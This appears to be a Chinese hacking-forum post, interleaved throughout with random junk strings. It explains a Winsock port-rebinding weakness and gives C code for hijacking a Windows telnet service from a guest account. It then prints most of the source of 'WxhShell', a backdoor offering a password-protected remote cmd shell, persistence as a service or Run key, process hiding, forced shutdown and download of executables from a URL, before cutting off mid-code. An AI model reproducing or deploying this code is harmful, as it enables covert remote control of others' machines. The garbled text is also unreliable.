在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
o_?YYw-: s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
h9No'!'! zT.qNtU% saddr.sin_family = AF_INET;
lOql(ZH`w NI3_wV saddr.sin_addr.s_addr = htonl(INADDR_ANY);
O>UR\l|+:2 #5F\zeo@F? bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
?,]25q 5MT$n4zKu 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
Or0=:?4` >a[)F 这意味着什么?意味着可以进行如下的攻击:
IF<pT) c5pF?kFaD 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
Jc/*w ^As^hY^p 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
fQM:NI?9? |X0h-kX4 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
voEg[Gg4%I 82{Lx7pI 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
>:WnCkbp '(r/@%=U 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
'gI q_t|^ vvwNJyU- 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
E0[ec6^qwY fYBmW') 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
~dg7c{o5 YBehyx2eK #include
BIqZg$ #include
V.?N29CA| #include
',$Uw|N #include
LlKvi_z DWORD WINAPI ClientThread(LPVOID lpParam);
;6P#V`u int main()
l+`f\ }, {
Myaj81 WORD wVersionRequested;
CobMagPhr DWORD ret;
<+o*"z\mI WSADATA wsaData;
sxc^n
aK0 BOOL val;
lOB*M!8 SOCKADDR_IN saddr;
J'{69<`Dl SOCKADDR_IN scaddr;
`Tw DR6& int err;
RI.6.f1dy SOCKET s;
mXAGa8##j SOCKET sc;
0oR'"Vo int caddsize;
V}=%/OY? HANDLE mt;
S\wh
*'Y DWORD tid;
n/]w! wVersionRequested = MAKEWORD( 2, 2 );
5@ c/,6l err = WSAStartup( wVersionRequested, &wsaData );
B:5N Ia if ( err != 0 ) {
j`H5S printf("error!WSAStartup failed!\n");
3jR> return -1;
m 0jm$>:Z }
b{+7sl saddr.sin_family = AF_INET;
Q5K<ECoPk HV0! G-h //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
hKx*V"7/#\ b\
P6,s'( saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
m%$GiNs} saddr.sin_port = htons(23);
XEX."y if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
-9D2aY_> {
C4,;l^?=% printf("error!socket failed!\n");
5>S=f{ghFw return -1;
n8K FP }
(Ci{fY6` val = TRUE;
<]w(1{q( //SO_REUSEADDR选项就是可以实现端口重绑定的
Tr\6AN?o if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
?=^~(x?S {
UZ*Yt printf("error!setsockopt failed!\n");
tMy<MO)Ei return -1;
Uo<iZ3J }
~ZxFL$<'3 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
4tGP-
L //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
g!![%*'
b //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
?|$IZ9 _T^+BUw if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
=rL^^MZp {
BKJwM'~ ret=GetLastError();
C)H1<Br7 printf("error!bind failed!\n");
T+knd'2V6 return -1;
p$+.] }
xlHC?d0} listen(s,2);
,x]xtg? while(1)
kCVO!@yZz {
M#'j7EMu caddsize = sizeof(scaddr);
uB*Y}"Fn //接受连接请求
MEled:i sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
e^ ZxU/e if(sc!=INVALID_SOCKET)
C\RJ){dk {
%.nZ@';. mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
&40# _>W7 if(mt==NULL)
7#G8qh< {
li j>u printf("Thread Creat Failed!\n");
6!Z>^'6 break;
!\(j[d# }
lBN1OL[N }
W5c?f, CloseHandle(mt);
O3];1ud }
.9'bi#:Cw closesocket(s);
K>_~zW nc WSACleanup();
"$6 .L^9W return 0;
Z+EN]02| }
D&C83^m DWORD WINAPI ClientThread(LPVOID lpParam)
(t%+Z"j {
E,EpzB$_dj SOCKET ss = (SOCKET)lpParam;
K H&o`U(} SOCKET sc;
>mXq= 9L4 unsigned char buf[4096];
2"IsNbWV SOCKADDR_IN saddr;
}(-2a*Z;Y long num;
"eOFp\vPr DWORD val;
FsTl@zN DWORD ret;
|on$)vm //如果是隐藏端口应用的话,可以在此处加一些判断
'|~L9t //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
YI!@,t saddr.sin_family = AF_INET;
PYPDK*Ie saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
`k.Nphx~% saddr.sin_port = htons(23);
:0o,pndU if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
g]a5%8*{ {
tIJ?caX5= printf("error!socket failed!\n");
$Il:Yw_ return -1;
AC& }8w[>u }
#\LsM
~, val = 100;
,'>,N/JA if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
m
c q!_#{y {
R[Y{pT,AY ret = GetLastError();
N{o3w.g return -1;
6OLp x)fG }
+,$ SZ O] if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
W:V:Ej7 h {
[\ALT8vC?m ret = GetLastError();
ER4j=O# return -1;
}_[Bp }
^;[|,:8f7L if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
O>)Fl42IeD {
o1B8_$aYgc printf("error!socket connect failed!\n");
}_vUs jK closesocket(sc);
}63Qh}_Y closesocket(ss);
`eXTVi|0"~ return -1;
5:W5@e{ }
zv>3Tc0R while(1)
0%f}w0]: {
qS.TVNZ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
Jq8CII //如果是嗅探内容的话,可以再此处进行内容分析和记录
:\sz`p?EC //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
F{;{o^Pv num = recv(ss,buf,4096,0);
=mWr8p-H if(num>0)
P_{jZ}y( send(sc,buf,num,0);
VGDds else if(num==0)
hnf7Q l} break;
w4UaWT1J num = recv(sc,buf,4096,0);
g82_KUkB if(num>0)
o fw0_)!Q send(ss,buf,num,0);
Kx[u9MD else if(num==0)
^P|
K2at break;
Frxim }
Y%"6 closesocket(ss);
|5(<
Vk= closesocket(sc);
7 g2@RKo return 0 ;
PX%Y$` }
}%m:^*@$9 H7=[sL^ vI)-Zz[3 ==========================================================
EoOB0zo}Y+ a`:ag~op@& 下边附上一个代码,,WXhSHELL
vXA+4 ?ZG a1p}y2 ==========================================================
TAl#V7PF} !4ZszQg #include "stdafx.h"
ZV?~~_9 pO~lVM #include <stdio.h>
U<|h4'(@L #include <string.h>
S@N:Cj #include <windows.h>
5V{ B,T #include <winsock2.h>
tCw.wDq3= #include <winsvc.h>
H+VKWGmfG #include <urlmon.h>
q')MKR* h)vRvfcmY #pragma comment (lib, "Ws2_32.lib")
tmCm54 #pragma comment (lib, "urlmon.lib")
6jGPmOM/ `k>h2(@9S
#define MAX_USER 100 // 最大客户端连接数
U!0 Qf7D #define BUF_SOCK 200 // sock buffer
j#`d%eQ~J #define KEY_BUFF 255 // 输入 buffer
:Y{aa1 ?-"%%# #define REBOOT 0 // 重启
6"d^4L? #define SHUTDOWN 1 // 关机
{APsi7HYBr jf_0IE #define DEF_PORT 5000 // 监听端口
s?.A
$^t |CC(`<\R #define REG_LEN 16 // 注册表键长度
g' xR$6t #define SVC_LEN 80 // NT服务名长度
q*<Fy4j ed,w-;(n~ // 从dll定义API
[I`r[u typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
S_z}h typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
j4au
Zl]NF typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
iaqhP7! typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
8-N8v
*0 vZdn // wxhshell配置信息
h\ (z!7t* struct WSCFG {
|P_\l,f8` int ws_port; // 监听端口
+\`D1d@ char ws_passstr[REG_LEN]; // 口令
_]"5]c&*3 int ws_autoins; // 安装标记, 1=yes 0=no
dbkkx1{>Y char ws_regname[REG_LEN]; // 注册表键名
VrF(0,-Z`3 char ws_svcname[REG_LEN]; // 服务名
dOm#NSJVd char ws_svcdisp[SVC_LEN]; // 服务显示名
+Xi#y}% char ws_svcdesc[SVC_LEN]; // 服务描述信息
4:\s.Z{!3 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
+\FTR
int ws_downexe; // 下载执行标记, 1=yes 0=no
,3G8afo char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
."R,j|o6 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
mPNT*pAO SxMrX C* };
`}1IQ.3 .:tAZZ // default Wxhshell configuration
V#?GDe}[ struct WSCFG wscfg={DEF_PORT,
^l#Z*0@><~ "xuhuanlingzhe",
@O}%sjC1 1,
xrX^";}j "Wxhshell",
/TTmMx* "Wxhshell",
]/!#: "WxhShell Service",
'AN3{ "Wrsky Windows CmdShell Service",
'c 0]8Y4
"Please Input Your Password: ",
:ND5po#( 1,
oD]tHuDa "
http://www.wrsky.com/wxhshell.exe",
?yfk d:WD "Wxhshell.exe"
B1>aR 7dsf };
* 8n0 rvZXK<@#+ // 消息定义模块
(J8(_MF char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
!6:kJL}U char *msg_ws_prompt="\n\r? for help\n\r#>";
&*\wr}a! char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
tW;1 char *msg_ws_ext="\n\rExit.";
Q?KWiFA}' char *msg_ws_end="\n\rQuit.";
(K"U# Zn char *msg_ws_boot="\n\rReboot...";
K^j7T[pR char *msg_ws_poff="\n\rShutdown...";
aMQfg51W: char *msg_ws_down="\n\rSave to ";
8 SII>iL{ rf_(pp) char *msg_ws_err="\n\rErr!";
cl
kL)7RQ char *msg_ws_ok="\n\rOK!";
Q[EpE, ssGp:{]v/ char ExeFile[MAX_PATH];
e E:J
int nUser = 0;
ZYr6Wn HANDLE handles[MAX_USER];
?5(Cwy ? int OsIsNt;
9?$Qk0jc JGl0
(i*| SERVICE_STATUS serviceStatus;
LUSBRr8 SERVICE_STATUS_HANDLE hServiceStatusHandle;
P%w)*); zvjp]yTx" // 函数声明
pRyePxCDj) int Install(void);
s`Z|
A int Uninstall(void);
_p0@1 s(U int DownloadFile(char *sURL, SOCKET wsh);
_Q)rI%A2 int Boot(int flag);
%
NSb8@ void HideProc(void);
r6_g/7.- int GetOsVer(void);
PM]|S` int Wxhshell(SOCKET wsl);
BMaw]D void TalkWithClient(void *cs);
FfEP@$ int CmdShell(SOCKET sock);
S9\_ODv int StartFromService(void);
Cn6<I {`\ int StartWxhshell(LPSTR lpCmdLine);
D@.+B`bA );*:UzsC_ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
\PU7,*2 VOID WINAPI NTServiceHandler( DWORD fdwControl );
oUSv)G.zb ":igYh // 数据结构和表定义
@J~hi\&` SERVICE_TABLE_ENTRY DispatchTable[] =
*z?Vy<u G {
/O`<?aP% {wscfg.ws_svcname, NTServiceMain},
g/3t@7*< {NULL, NULL}
#/"?.Z;SSH };
uv#."_Va Kg8n3pLAX // 自我安装
p)&Yr int Install(void)
H@|h
Nn$@ {
Sv#S_jh char svExeFile[MAX_PATH];
q0t} HKEY key;
Y'&rSHI"
strcpy(svExeFile,ExeFile);
UI]UxEJ 59k[A~)~ // 如果是win9x系统,修改注册表设为自启动
IIh \d.o if(!OsIsNt) {
i8nzPKF2$3 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
qmy3pnL RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
wdMVy=SS RegCloseKey(key);
,^n5UA`PK if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
xf|vz|J?y RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
@9AK!I8f RegCloseKey(key);
. UaLP return 0;
:ceT8-PBRx }
k [eWhdSw }
0J z|BE3Y }
&6O0h0Vy else {
N@x5h8 H[J5A2b // 如果是NT以上系统,安装为系统服务
AAc*\K SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
'z$!9ufY, if (schSCManager!=0)
njGZ#{"eC {
LB\+*P6QM SC_HANDLE schService = CreateService
g!I0UAm (
r"$~Gg.%( schSCManager,
j<PpCL_8% wscfg.ws_svcname,
\F8:6- wscfg.ws_svcdisp,
$Ma*q EB SERVICE_ALL_ACCESS,
tdOox87YK SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
Xmv^O SERVICE_AUTO_START,
JWVn@)s SERVICE_ERROR_NORMAL,
c+N\uG4 svExeFile,
\qw1\-q NULL,
a+
s%9l NULL,
il~A(`+YO NULL,
|*y'H* NULL,
ve*m\DU NULL
cL^r^kL("
);
0}wmBSl if (schService!=0)
eD)@:K {
CH] +S>$ CloseServiceHandle(schService);
@ayrI]m#>, CloseServiceHandle(schSCManager);
6I-Qq?L[H strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
DpvMY94Qh strcat(svExeFile,wscfg.ws_svcname);
u$
a7 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
_.+2sm RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
uU!}/mbo RegCloseKey(key);
QRz5eGpW return 0;
H'x)[2 }
pg/SYEvsV }
9k3RC}dEr CloseServiceHandle(schSCManager);
{LqahO* }
ANlzF&K }
4N_iHe5U ldRisL return 1;
f_;6uCCO }
ITf4PxF @9\L|O'~? // 自我卸载
Y%#r&de int Uninstall(void)
K yDPD' {
%Z{ 7*jtE HKEY key;
3R`eddenF c-=z<:Kf if(!OsIsNt) {
c|(&6(r if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Tu7sA.73k RegDeleteValue(key,wscfg.ws_regname);
'FwNQz zt RegCloseKey(key);
xF7q9'/F if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
fe+2U|y RegDeleteValue(key,wscfg.ws_regname);
TmUN@h RegCloseKey(key);
4<q'QU#l< return 0;
_aK4[*jnqh }
<S(`e/#[ }
/=~o|-n8@ }
a:}&v^v else {
4NRG{FZ9 EbMG9 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
!y-,r4\@` if (schSCManager!=0)
y4`uU1= {
WzdE XcY SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
jZP~!q if (schService!=0)
-/gAb<= {
y3Lq"?h if(DeleteService(schService)!=0) {
uH=^ILN. CloseServiceHandle(schService);
y5$AAas CloseServiceHandle(schSCManager);
t7qzAr return 0;
~pve;(e= }
6qq{JbK CloseServiceHandle(schService);
O YayTKxN }
mYw9lM CloseServiceHandle(schSCManager);
i5G"@4( }
>cRE$d? }
+-OnO7f wh)Ujgd return 1;
;1Zz-@ }
qe_59'K VFjNrngl // 从指定url下载文件
Mr
u int DownloadFile(char *sURL, SOCKET wsh)
ylVBK{w9 {
@-H D9h HRESULT hr;
U5pg<xI char seps[]= "/";
5Ff1x-lQ char *token;
qGH\3g- char *file;
;JAb8dyS2 char myURL[MAX_PATH];
1 wB2:o< char myFILE[MAX_PATH];
/>[X
k ,)](h+zl_6 strcpy(myURL,sURL);
/By`FW Y token=strtok(myURL,seps);
f )K(la^' while(token!=NULL)
HMrl!;: {
g W(7jFl file=token;
_q/UDf1 token=strtok(NULL,seps);
*^_ywqp }
.X)TRD#MW JC}oc M
j0 GetCurrentDirectory(MAX_PATH,myFILE);
wjnQK strcat(myFILE, "\\");
gHe%N?' strcat(myFILE, file);
,oS<9kC68 send(wsh,myFILE,strlen(myFILE),0);
vh"> Z4 send(wsh,"...",3,0);
w=MiJr#3^ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
#k*P/I~ if(hr==S_OK)
i!k5P".o^ return 0;
\~bx%VWW4 else
w,qYT-R return 1;
oM4Q_A n uBXl ltU }
Fy'/8Yv#L <~}#Q,9 // 系统电源模块
Am&PH(}L int Boot(int flag)
d|?'yX {
FBCi,_
\4 HANDLE hToken;
D3BNA]P\2@ TOKEN_PRIVILEGES tkp;
b9(_bsc W@(EEMhw if(OsIsNt) {
y:>'1"2` OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
1aQR9zg% LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
Cb5Rr+K= tkp.PrivilegeCount = 1;
3TDjWW;#~ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
|_7AN!7j AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
:"pA0oB if(flag==REBOOT) {
+U:U/c5Z^ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
fA k]]PU return 0;
DnZkZ;E/ }
!((J-:= else {
jM'kY|<g; if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
"Y>
#=>8 return 0;
aU)NbESu }
C " W, }
1@}`dc else {
U>,E]' if(flag==REBOOT) {
^J
TrytIB if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
{-T}"WHg7 return 0;
S{q c1qj }
|\lsTY&2 else {
m~#f L if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
Qrnc;H9) return 0;
r?w^#V }
&RzkM4" }
n I63Ns iE~][_%U return 1;
w[5uX> }
v `a:Lj ?nLlZpZ2v // win9x进程隐藏模块
Vw^2TRU void HideProc(void)
JBYmy_Su {
GV+K]
KDI kkyi`_ZKn HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
#GJ{@C3H8Q if ( hKernel != NULL )
y&-1SP< {
LXZ0up-B- pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
vDeb?n ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
wNk 0F7Ck FreeLibrary(hKernel);
nOH x^( }
zeHf(N SH009@l_8 return;
.J0Tn,m }
R/_bk7o]H D?Mj<|| // 获取操作系统版本
)U?5O$M;lE int GetOsVer(void)
Z7="on4 {
a_GnN\kX^Z OSVERSIONINFO winfo;
U
'$W$()p winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
mm l`,t8 GetVersionEx(&winfo);
W0&x0 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
'[Ue0r<jn return 1;
g5YDRL!Wh else
C8xx R~mq return 0;
-J06H&/k }
h:4Uv}Z pGsk[. // 客户端句柄模块
@{X<|,W9w int Wxhshell(SOCKET wsl)
Hdn%r<+c {
t)i{=8rq SOCKET wsh;
#hQ#_7 struct sockaddr_in client;
_oILZ, DWORD myID;
e2dg{n$6" xpU7ZY while(nUser<MAX_USER)
Qms,kX {
DD?zbN0X int nSize=sizeof(client);
#H5i$ o wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
P&=H<^yd if(wsh==INVALID_SOCKET) return 1;
gB)Cmw* j1141md5 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
\Qgc7ev if(handles[nUser]==0)
Po1/_#mu closesocket(wsh);
Bs!F |x( else
|b+ZKRW nUser++;
^aONuG9 }
KB$SB25m WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
G &QG Q SmUj8?6" return 0;
u= =`]\_@ }
Oj,v88= b uu /Nz$ // 关闭 socket
4/?@ % void CloseIt(SOCKET wsh)
+.2OZ3( {
m 5_ closesocket(wsh);
oO4hBM([ nUser--;
6.'j\ ExitThread(0);
Kk\TW1w3 }
d2U+%%Tdw w\zNn4B})A // 客户端请求句柄
gski:C
void TalkWithClient(void *cs)
|r+w(TG {
Xx+eGV";` fda)t1u\8 SOCKET wsh=(SOCKET)cs;
ey@{Ng# char pwd[SVC_LEN];
Jq*Q;}n char cmd[KEY_BUFF];
t\XA
JU char chr[1];
rcAPp int i,j;
,}:}"cl TXS{= while (nUser < MAX_USER) {
u10;qYfL8o <)a7Nrc\T if(wscfg.ws_passstr) {
/d*[za'0 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
8gxo{<,9 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
D!V~g72j //ZeroMemory(pwd,KEY_BUFF);
gE9x+g i=0;
&,tj.?NCn while(i<SVC_LEN) {
D]twid~OS (tCBbPW6T? // 设置超时
c"diNbm[ fd_set FdRead;
R0urt struct timeval TimeOut;
9\VV++}s>o FD_ZERO(&FdRead);
Z^c\M\`7 FD_SET(wsh,&FdRead);
uT>"(wnJ| TimeOut.tv_sec=8;
30YH}b#B TimeOut.tv_usec=0;
nG%<n int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
9
^=kt 2[ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
j8+>E?nm uFuP%f!yY if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
p]qz+Z/ pwd
=chr[0]; Y?- "HK:
if(chr[0]==0xd || chr[0]==0xa) { G!Yt.M0
pwd=0; -EE}HUP)
break; U,8mYv2|
} Rm}G4Pq
i++; 1.5R`vKn]
} T%A"E,#
|d,bo/:
// 如果是非法用户,关闭 socket w,j;XPp
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); g>g*1oS
} yH9&HFDp
DT_%Rz~<
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); {{AZW
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Y?-Ef
sK
e'p"gX
while(1) { mC3:P5/c
^>^h|$
ZeroMemory(cmd,KEY_BUFF); >Bu_NoM
0<##8m@F8
// 自动支持客户端 telnet标准 5RP5%U
j=0; (hh^?
while(j<KEY_BUFF) { ?O"zp65d(
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); P76gJ@#m
cmd[j]=chr[0]; "'XYW\bI
if(chr[0]==0xa || chr[0]==0xd) { $ab{GxmX'4
cmd[j]=0; jUDE)~h
break; \FF|b"E_=
} y'n<oSB}
j++; [^XD@
} a54S,}|
Vt-V'`Y
// 下载文件 rv<qze;?|
if(strstr(cmd,"http://")) { Y![8-L|Q
send(wsh,msg_ws_down,strlen(msg_ws_down),0); b@sq}8YD|z
if(DownloadFile(cmd,wsh)) r{_1M>F
D!
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 44KWS~
else lE!.$L*k
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R/ x-$VJ
} &vIj(e9Y
else { 2vddx<&
|!1iLWQ
switch(cmd[0]) { XhN?E-WywQ
NxB/U_j
// 帮助 f9hH{(A
case '?': { ha9 dz
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); i98PlAq)B
break; o =F!&]+
} w( ic$
// 安装 'C;KNc
case 'i': { k9c`[M
if(Install()) FY]Et=p
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZB5NTNf>
else 5j _[z|W2
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =H^~"16
break; dQ#oY|a
} q\~D:z$+CO
// 卸载 ytV4qU82G
case 'r': { mk6>}z*
if(Uninstall()) *O-m:M!eA
send(wsh,msg_ws_err,strlen(msg_ws_err),0); C4|79UG>s
else uFOYyrESc
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Tcq@Q$H
break; W@~a#~1O
} vQ{mEaH
// 显示 wxhshell 所在路径 +.X3&|@k
case 'p': { I3Ad+]v
char svExeFile[MAX_PATH]; xB}B1H%
strcpy(svExeFile,"\n\r"); X C'|
strcat(svExeFile,ExeFile); jYW-}2L
send(wsh,svExeFile,strlen(svExeFile),0); MnptC 1N
break; j 2e|
} jf&
oN]sZ
// 重启 N$cAX^~
case 'b': { r<"k
/
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); IZxr;\dq6
if(Boot(REBOOT)) U2(mWQ[mO
send(wsh,msg_ws_err,strlen(msg_ws_err),0); A&Cs
(e
else { NHzVA*f
closesocket(wsh); gy/bA
ExitThread(0); qvRs1yr?q
} szy2"~hm
break; KocNJ
TB
} RIF*9= ,S
// 关机 0Y*Ag,S
case 'd': { `W4Is~VVv
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 8{p#Nl?U1
if(Boot(SHUTDOWN)) 2Vg+Aly4D
send(wsh,msg_ws_err,strlen(msg_ws_err),0); E}|IU Pm
else { ;vgaFc]
closesocket(wsh); |f+fG=a67V
ExitThread(0); eo4v[V&
} e:= +~F(f
break; :z+l=d:4
} $`Aps7A
// 获取shell _(:bGI'.m
case 's': { S{qsq\X
CmdShell(wsh); ~
6Hi"w
closesocket(wsh); UjS,<>fm
ExitThread(0); :Pi="
break; +rOd0?
} uJL[m(G
// 退出 >66v+
case 'x': { jftf]n&Z(q
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ~.8p8\H
CloseIt(wsh); CYN|
break; WB=|Ty~l
} O `a4
")R
// 离开 3 3b 3v\N
case 'q': { UU]a).rz
send(wsh,msg_ws_end,strlen(msg_ws_end),0); hIMD2
closesocket(wsh); WhN~R[LE_
WSACleanup(); yX|0R
H
exit(1); tD\%SiTg=b
break; by0M(h
} 53X5&Bwh
} fkK42*U@r
} Kq2,J&Ca3
ld/\`s[i
// 提示信息 ,xsFBNCC
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); P|4qbm4%O,
} qx<h rC0Z&
} H8'_.2vwX
=dTsGNz
return; ?:XbZ"25pJ
} $d_%7 xx
p8a\> {
// shell模块句柄 eW^_YG%(
int CmdShell(SOCKET sock) Km9Y_`?
{ W_ hckq.
STARTUPINFO si; U$5 lh
ZeroMemory(&si,sizeof(si)); szx7CP`<8
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ;.4A,7w#
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; '8b/TL
PROCESS_INFORMATION ProcessInfo; 1hn4YcHb
char cmdline[]="cmd"; KixS)sG
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); E
Z}c8b
return 0; b7_uT`<
} RiX~YLeM
{q-<1|xj/J
// 自身启动模式 P:gN"f6
int StartFromService(void) [j]3='2}G
{ QXcSDJ
typedef struct &